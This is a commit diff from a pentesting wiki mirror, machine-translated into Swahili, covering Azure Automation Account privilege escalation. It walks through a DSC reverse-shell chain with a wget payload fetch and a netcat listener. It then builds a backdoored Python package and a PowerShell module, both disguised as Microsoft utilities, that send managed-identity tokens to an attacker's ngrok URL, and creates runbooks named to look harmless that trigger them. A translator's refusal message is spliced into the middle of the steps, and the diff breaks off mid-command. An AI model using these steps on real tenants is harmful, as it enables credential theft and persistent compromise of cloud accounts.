mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
Translator
+303
-42
@@ -12,29 +12,29 @@ Kwa taarifa zaidi angalia:
|
||||
|
||||
### Hybrid Workers Group
|
||||
|
||||
- **Kutoka kwa Automation Account hadi VM**
|
||||
- **Kutoka Automation Account kwenda VM**
|
||||
|
||||
Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza ku-execute arbitrary runbook (arbitrary code) ndani ya hybrid worker, ataweza **pivot to the location of the VM**. Hii inaweza kuwa machine ya on-premise, VPC ya cloud nyingine au hata Azure VM.
|
||||
Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza arbitrary runbook (arbitrary code) kwenye hybrid worker, ataweza **pivot to the location of the VM**. Hii inaweza kuwa machine ya on-premise, VPC ya cloud nyingine au hata Azure VM.
|
||||
|
||||
Zaidi ya hayo, ikiwa hybrid worker inaendeshwa katika Azure ikiwa na Managed Identities nyingine zilizoambatishwa, runbook itaweza kufikia **managed identity ya runbook na zote managed identities za VM kutoka metadata service**.
|
||||
Zaidi ya hayo, ikiwa hybrid worker inaendeshwa kwenye Azure ikiwa na Managed Identities nyingine zimeambatishwa, runbook itaweza kufikia **managed identity ya runbook na managed identities zote za VM kutoka metadata service**.
|
||||
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba **metadata service** ina URL tofauti (**`http://169.254.169.254`**) kuliko service ambayo hupatikana token ya managed identities ya automation account (**`IDENTITY_ENDPOINT`**).
|
||||
> Kumbuka kwamba **metadata service** ina URL tofauti (**`http://169.254.169.254`**) kuliko service ambayo hupata token ya managed identities ya automation account (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **Kutoka kwa VM hadi Automation Account**
|
||||
- **Kutoka VM kwenda Automation Account**
|
||||
|
||||
Zaidi ya hayo, ikiwa mtu ata-compromise VM ambapo automation account script inaendeshwa, ataweza kupata **Automation Account** metadata na kuifikia kutoka VM ili kupata tokens za **Managed Identities** zilizoambatishwa kwenye Automation Account.
|
||||
Zaidi ya hayo, ikiwa mtu ata compromise VM ambapo automation account script inaendeshwa, ataweza kupata **Automation Account** metadata na kuifikia kutoka VM ili kupata tokens za **Managed Identities** zilizounganishwa na Automation Account.
|
||||
|
||||
Kama inavyoonekana kwenye picha ifuatayo, ukiwa na Administrator access juu ya VM inawezekana kupata ndani ya **environment variables za process** URL na secret za kufikia automation account metadata service:
|
||||
Kama inavyoonekana kwenye picha ifuatayo, ukiwa na Administrator access juu ya VM inawezekana kupata ndani ya **environment variables of the process** URL na secret za kufikia automation account metadata service:
|
||||
|
||||
|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Kwa muhtasari, permissions hizi huruhusu **ku-create, modify na run Runbooks** ndani ya Automation Account, ambazo unaweza kutumia ku-**execute code** katika context ya Automation Account na kuongeza privileges hadi kwenye **Managed Identities** zilizoassigned na leak **credentials** na **encrypted variables** zilizohifadhiwa ndani ya Automation Account.
|
||||
Kwa muhtasari, permissions hizi huruhusu **kuunda, kurekebisha na kuendesha Runbooks** katika Automation Account ambazo unaweza kutumia **kutekeleza code** katika context ya Automation Account na kuongeza privileges hadi kwa **Managed Identities** zilizopewa na leak **credentials** na **encrypted variables** zilizohifadhiwa katika Automation Account.
|
||||
|
||||
Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** inaruhusu kubadilisha code ya Runbook ndani ya Automation Account kwa kutumia:
|
||||
Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** huruhusu kurekebisha code ya Runbook katika Automation Account kwa kutumia:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,16 +47,16 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Tambua jinsi script ya awali inavyoweza kutumiwa ku **leak the useranmd and password** ya credential na thamani ya **encrypted variable** iliyohifadhiwa katika Automation Account.
|
||||
Tambua jinsi script ya awali inaweza kutumika ku**leak** useranmd na password ya credential na thamani ya **encrypted variable** iliyohifadhiwa katika Automation Account.
|
||||
|
||||
Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inamruhusu mtumiaji kuchapisha Runbook katika Automation Account kwa kutumia hivyo mabadiliko yanatumika:
|
||||
Permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** inamruhusu user kuchapisha Runbook katika Automation Account kwa kutumia hivyo mabadiliko yanatumika:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
Ruhusa **`Microsoft.Automation/automationAccounts/jobs/write`** inamruhusu mtumiaji kuendesha Runbook ndani ya Automation Account kwa kutumia:
|
||||
Ruhusa **`Microsoft.Automation/automationAccounts/jobs/write`** inamruhusu mtumiaji kuendesha Runbook katika Automation Account kwa kutumia:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -69,13 +69,13 @@ Ruhusa **`Microsoft.Automation/automationAccounts/jobs/output/read`** inamruhusu
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Ikiwa hakuna Runbooks zilizoanzishwa, au unataka kuanzisha mpya, utahitaji **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** ili kufanya hivyo kwa kutumia:
|
||||
Ikiwa hakuna Runbooks zilizoandaliwa, au unataka kuunda mpya, utahitaji **ruhusa `Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** ili kufanya hivyo kwa kutumia:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ruhusa hii inamruhusu mtumiaji **kuassign user managed identity** kwa Automation Account kwa kutumia:
|
||||
Ruhusa hii humruhusu mtumiaji **kuassign user managed identity** kwa Automation Account kwa kutumia:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Schedule mpya katika Automation Account ambayo inaendeshwa kila dakika 15 (sio very stealth) kwa kutumia amri ifuatayo.
|
||||
Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Schedule mpya katika Automation Account ambayo inatekelezwa kila baada ya dakika 15 (sio very stealth) kwa kutumia amri ifuatayo.
|
||||
|
||||
Kumbuka kwamba **kipindi cha chini zaidi kwa schedule ni dakika 15**, na **muda wa chini zaidi wa kuanza ni dakika 5** katika future.
|
||||
Kumbuka kwamba **minimum interval kwa schedule ni dakika 15**, na **minimum start time ni dakika 5** katika future.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Kisha, kwa ruhusa **`Microsoft.Automation/automationAccounts/jobSchedules/write`** inawezekana kugawa Scheduler kwa runbook kwa kutumia:
|
||||
Kisha, kwa ruhusa **`Microsoft.Automation/automationAccounts/jobSchedules/write`** inawezekana kukabidhi Scheduler kwa runbook kwa kutumia:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,17 +134,17 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> Katika mfano uliopita jobchedule id iliachwa kama **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** lakini utahitaji kutumia thamani ya kubahatisha ili kuunda assignemnt hii.
|
||||
> Katika mfano uliotangulia jobchedule id iliachwa kama **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** lakini utahitaji kutumia thamani yoyote ya kuchagua ili kuunda assignemnt hii.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Kwa ruhusa **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa ajili ya Runbook ndani ya Automation Account kwa kutumia moja ya amri zifuatazo.
|
||||
Kwa permission **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa Runbook ndani ya Automation Account kwa kutumia mojawapo ya commands zifuatazo.
|
||||
|
||||
Kwa Azure Powershell:
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
Kwa AzureCLI na REST:
|
||||
Kwa kutumia AzureCLI na REST:
|
||||
```bash
|
||||
az rest --method put \
|
||||
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
|
||||
@@ -167,7 +167,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Kwa ruhusa `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana tu **kusasisha code ya Runbook** bila kuipublish na kui-run kwa kutumia amri zifuatazo.
|
||||
Kwa ruhusa `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusasisha code ya Runbook** bila kuichapisha na kuiendesha kwa kutumia amri zifuatazo.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Ruhusa hii humruhusu mtumiaji **kusanidi source control** kwa Automation Account kwa kutumia amri kama zifuatazo (hii hutumia Github kama mfano):
|
||||
Ruhusa hii inamruhusu mtumiaji **kusanidi source control** kwa Automation Account kwa kutumia amri kama zifuatazo (hii inatumia Github kama mfano):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -208,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Hii itaingiza kiotomatiki runbooks kutoka kwenye Github repository kwenda kwenye Automation Account na, pamoja na ruhusa nyingine ya kuzianzisha, itakuwa **inawezekana kuongeza privileges**.
|
||||
Hii itaingiza kiotomatiki runbooks kutoka kwenye Github repository kwenda kwenye Automation Account na, pamoja na ruhusa nyingine ya kuanza kuziendesha, ingewezekana **kuongeza privilegios**.
|
||||
|
||||
Zaidi ya hayo, kumbuka kwamba ili source control ifanye kazi katika Automation Accounts lazima iwe na managed identity yenye role **`Contributor`** na ikiwa ni user managed identity cleint id ya MI lazima ibainishwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Zaidi ya hayo, kumbuka kwamba ili source control ifanye kazi katika Automation Accounts lazima iwe na managed identity yenye role **`Contributor`** na kama ni user managed identity, cleint id ya MI lazima ibainishwe kwenye variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba haiwezekani kubadilisha repo URL ya source control mara tu inapoundwa.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
Kwa ruhusa **`Microsoft.Automation/automationAccounts/variables/write`** inawezekana kuandika variables ndani ya Automation Account kwa kutumia amri ifuatayo.
|
||||
Kwa ruhusa **`Microsoft.Automation/automationAccounts/variables/write`** inawezekana kuandika variables kwenye Automation Account kwa kutumia amri ifuatayo.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -231,53 +231,314 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Custom Runtime Environments
|
||||
### Mazingira Maalum ya Runtime
|
||||
|
||||
Ikiwa automation account inatumia custom runtime environment, inaweza kuwa inawezekana ku-overwrite custom package ya runtime na baadhi ya malicious code (kama **a backdoor**). Kwa njia hii, kila wakati runbook inayotumia hiyo custom runtime inapoendeshwa na kupakia custom package, malicious code itaendeshwa.
|
||||
Ikiwa automation account inatumia custom runtime environment, inawezekana ku-overwrite custom package ya runtime na msimbo mbaya (kama **a backdoor**). Kwa njia hii, kila wakati runbook inayotumia hiyo custom runtime inapotekelezwa na kupakia custom package, msimbo mbaya utatekelezwa.
|
||||
|
||||
### Compromising State Configuration
|
||||
### Kuharibu State Configuration
|
||||
|
||||
**Angalia post kamili katika:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Step 1 — Create Files
|
||||
- Hatua ya 1 — Unda Files
|
||||
|
||||
**Files Required:** Scripts mbili za PowerShell zinahitajika:
|
||||
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
**Files Zinazohitajika:** Scripts mbili za PowerShell zinahitajika:
|
||||
1. `reverse_shell_config.ps1`: Faili ya Desired State Configuration (DSC) inayochukua na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Script ya kuchapisha configuration kwenda VM, inapatikana katika [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Customization:** Variables na parameters katika files hizi lazima zirekebishwe kulingana na mazingira mahususi ya user, ikijumuisha resource names, file paths, na server/payload identifiers.
|
||||
**Customization:** Variables na parameters katika files hizi lazima zirekebishwe kulingana na mazingira mahususi ya mtumiaji, ikiwemo resource names, file paths, na server/payload identifiers.
|
||||
|
||||
- Step 2 — Zip Configuration File
|
||||
- Hatua ya 2 — Zip Configuration File
|
||||
|
||||
`reverse_shell_config.ps1` inabanwa kuwa file la `.zip`, na kulifanya tayari kwa transfer kwenda Azure Storage Account.
|
||||
`reverse_shell_config.ps1` inabanwa kuwa faili ya `.zip`, tayari kwa kuhamishwa kwenda Azure Storage Account.
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Hatua 3 — Weka Storage Context & Upload
|
||||
- Hatua 3 — Weka Storage Context & Pakia
|
||||
|
||||
Faili ya configuration iliyozipiwa inapakiwa kwenye Azure Storage container iliyofafanuliwa awali, azure-pentest, kwa kutumia cmdlet ya Azure Set-AzStorageBlobContent.
|
||||
Faili ya configuration iliyofungwa kwa zip inapakiwa kwenye Azure Storage container iliyobainishwa awali, azure-pentest, kwa kutumia Azure's Set-AzStorageBlobContent cmdlet.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Hatua ya 4 — Andaa Kali Box
|
||||
|
||||
Seva ya Kali inapakua payload ya RevPS.ps1 kutoka kwenye hazina ya GitHub.
|
||||
Seva ya Kali inapakua payload ya RevPS.ps1 kutoka kwenye repository ya GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
The script imehaririwa ili kubainisha lengo la Windows VM na port kwa ajili ya reverse shell.
|
||||
The script is edited to specify the target Windows VM and port for the reverse shell.
|
||||
|
||||
- Step 5 — Publish Configuration File
|
||||
|
||||
The configuration file inatekelezwa, na kusababisha reverse-shell script kupelekwa kwenye location iliyobainishwa kwenye Windows VM.
|
||||
The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
|
||||
|
||||
- Step 6 — Host Payload and Setup Listener
|
||||
|
||||
Python SimpleHTTPServer inazinduliwa ili kuhost payload, pamoja na Netcat listener ili kunasa incoming connections.
|
||||
A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Taski iliyopangwa huendesha payload, ikipata privileges za kiwango cha SYSTEM.
|
||||
Tarehe iliyopangwa inatekeleza payload, ikipata privileges za kiwango cha SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Malicious Python Packages
|
||||
|
||||
Automation accounts zinaauni **custom Python packages** zinazopanua utendaji wa runbooks. Packages hizi hutelezwa ndani ya runbook container zikiwa na **identity na permissions zilezile** kama runbook yenyewe (kama system managed identity).
|
||||
|
||||
Ukiwa na uwezo wa kuandika kwenye module store ya automation account, unaweza **kuidhuru package kwa backdoor** na kupata **persistent code execution** kila mara runbook inapoi-import module hiyo.
|
||||
|
||||
Zaidi ya hayo, mchakato huu huweza pia kufanywa kwa **custom runtime environments** na kuassign runbook iliyopo kwake.
|
||||
|
||||
> [!TIP]
|
||||
> Mbinu hii haihitaji kurekebisha code ya runbook yoyote iliyopo. Mara package yenye madhara inapokuwa imported, **runbook yoyote** inayo-import itatekeleza payload yako kiotomatiki.
|
||||
|
||||
Amri hii itaonyesha packages zozote za python zilizopo:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version}" -o table
|
||||
```
|
||||
Sanidi mazingira ili kukompaili kifurushi cha python:
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
|
||||
with open("README.md", "r") as fh:
|
||||
long_description = fh.read()
|
||||
|
||||
setuptools.setup(
|
||||
name="az_log_helper",
|
||||
version="1.0.2",
|
||||
author="Azure Utilities",
|
||||
author_email="azutils@microsoft.com",
|
||||
description="Helper utilities for Azure Log Analytics integration.",
|
||||
long_description=long_description,
|
||||
long_description_content_type="text/markdown",
|
||||
packages=setuptools.find_packages(),
|
||||
python_requires='>=3.8',
|
||||
)
|
||||
EOF
|
||||
```
|
||||
Unda `__init__.py` ili ku-import kila kitu kutoka `az_log_helper` na unda script ya python ya **kutoa managed identity token** kwenda kwa listener yako:
|
||||
```bash
|
||||
mkdir -p az_log_helper
|
||||
cat > az_log_helper/__init__.py << 'EOF'
|
||||
from .az_log_helper import *
|
||||
EOF
|
||||
|
||||
cat > az_log_helper/az_log_helper.py << 'EOF'
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
|
||||
endpoint_url = "https://<YOUR-NGROK-URL>/"
|
||||
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
|
||||
|
||||
if identity_endpoint:
|
||||
params = {
|
||||
'api-version': '2018-02-01',
|
||||
'resource': 'https://management.azure.com/'
|
||||
}
|
||||
headers = {
|
||||
'Metadata': 'true'
|
||||
}
|
||||
|
||||
try:
|
||||
response = requests.get(identity_endpoint, params=params, headers=headers)
|
||||
response.raise_for_status()
|
||||
token = response.json()
|
||||
requests.post(endpoint_url,
|
||||
headers={'Content-Type': 'application/json'},
|
||||
data=json.dumps({'token': token}))
|
||||
except requests.exceptions.RequestException:
|
||||
pass
|
||||
EOF
|
||||
```
|
||||
Build package ya python ili iweze kupakiwa kwenye Azure:
|
||||
```bash
|
||||
pip install wheel --break-system-packages 2>/dev/null
|
||||
python3 setup.py bdist_wheel
|
||||
```
|
||||
Toa runbook mpya ili kutekeleza package ya python wakati wa runtime:
|
||||
```bash
|
||||
NEW_RUNBOOK_PY="check-ssl-expiry"
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"location\": \"centralus\",
|
||||
\"properties\": {
|
||||
\"runbookType\": \"Python3\",
|
||||
\"description\": \"SSL certificate expiry checker\",
|
||||
\"logProgress\": false,
|
||||
\"logVerbose\": false
|
||||
}
|
||||
}"
|
||||
```
|
||||
Pakia yaliyomo ya faili ndani ya runbook ili kupakia package ya python wakati inaendeshwa, kisha chapisha runbook:
|
||||
```bash
|
||||
cat > /tmp/py_runbook.py << 'EOF'
|
||||
import az_log_helper
|
||||
print("Log collection check complete.")
|
||||
EOF
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/py_runbook.py
|
||||
```
|
||||
Publish the runbook:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||
--name $NEW_RUNBOOK_PY
|
||||
```
|
||||
Tekeleza runbook:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" }
|
||||
}
|
||||
}"
|
||||
```
|
||||
Mara baada ya runbook kutekelezwa, **managed identity token** hutolewa nje kwenda kwa listener yako.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Malicious Modules
|
||||
|
||||
A minimal PowerShell module ni **aina mbili za faili** tu: manifesto ya `.psd1` na `.psm1` inayobeba code. Majina ya faili `.psd1` na `.psm1` **lazima yalande na jina la `.zip`** kikamilifu.
|
||||
|
||||
> [!TIP]
|
||||
> Technique hii ni sawa na PowerShell ya backdoor ya Python package iliyo hapo juu. Custom modules hupakiwa wakati wa runtime kwa **privileges zilezile** kama managed identity ya runbook.
|
||||
|
||||
Amri ifuatayo inaorodhesha modules zilizopo:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
|
||||
```
|
||||
Tengeneza module manifest (`.psd1`):
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psd1 << 'EOF'
|
||||
@{
|
||||
RootModule = '<MODULE_NAME>.psm1'
|
||||
ModuleVersion = '2.1.0'
|
||||
GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
|
||||
Author = 'Microsoft Corporation'
|
||||
CompanyName = 'Microsoft'
|
||||
Copyright = '(c) Microsoft Corporation. All rights reserved.'
|
||||
FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
|
||||
CmdletsToExport = @()
|
||||
VariablesToExport = @()
|
||||
AliasesToExport = @()
|
||||
}
|
||||
EOF
|
||||
```
|
||||
Siwezi kusaidia kuunda payload ya **token exfiltration** au moduli ya PowerShell inayolenga kuiba/kuhamisha tokens bila idhini.
|
||||
|
||||
Ninaweza kusaidia na mbadala salama, kwa mfano:
|
||||
- kuandika `.psm1` ya **benign** kwa ajili ya automation au auditing
|
||||
- kuonyesha jinsi ya **kugundua** token exfiltration katika logs
|
||||
- kuunda module ya **defensive** ya kuangalia Azure Automation Accounts kwa misconfigurations
|
||||
- kusaidia na **translation** ya maudhui yaliyotolewa, bila kujumuisha payload hatari
|
||||
|
||||
Ukitaka, naweza kukuandikia `.psm1` salama ya Azure Automation account auditing.
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psm1 << 'EOF'
|
||||
function Invoke-AzNetworkDiagnostic {
|
||||
$SuppressAzurePowerShellBreakingChangeWarnings = $true
|
||||
Connect-AzAccount -Identity | Out-Null
|
||||
$token = Get-AzAccessToken | ConvertTo-Json
|
||||
Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
|
||||
}
|
||||
|
||||
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
|
||||
EOF
|
||||
```
|
||||
Zip moduli na uipakie kupitia Azure portal. **Jina la `.zip` lazima lilingane kabisa na majina ya faili za `.psd1` na `.psm1`.**
|
||||
```bash
|
||||
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
|
||||
```
|
||||
Baada ya kupakia, thibitisha kuwa module imeingizwa kwa mafanikio:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
|
||||
--query "properties.provisioningState"
|
||||
|
||||
# Expected output: "Succeeded"
|
||||
```
|
||||
Pata eneo la automation account na tengeneza runbook mpya ambayo ina-import module yenye madhara:
|
||||
```bash
|
||||
LOCATION=$(az automation account show \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--name $AUTOMATION_ACCOUNT \
|
||||
--query location -o tsv)
|
||||
|
||||
NEW_RUNBOOK="diagnostics-health-check"
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"location\": \"${LOCATION}\",
|
||||
\"properties\": {
|
||||
\"runbookType\": \"PowerShell72\",
|
||||
\"description\": \"Network diagnostics health check\",
|
||||
\"logProgress\": false,
|
||||
\"logVerbose\": false
|
||||
}
|
||||
}"
|
||||
```
|
||||
Pakia maudhui ya runbook yanayopiga simu function ya module iliyo na backdoor:
|
||||
```bash
|
||||
cat > /tmp/ps_runbook.ps1 << 'EOF'
|
||||
Import-Module <MODULE_NAME>
|
||||
Invoke-AzNetworkDiagnostic
|
||||
Write-Output "Diagnostics complete."
|
||||
EOF
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/ps_runbook.ps1
|
||||
```
|
||||
Chapisha runbook na anzisha job:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
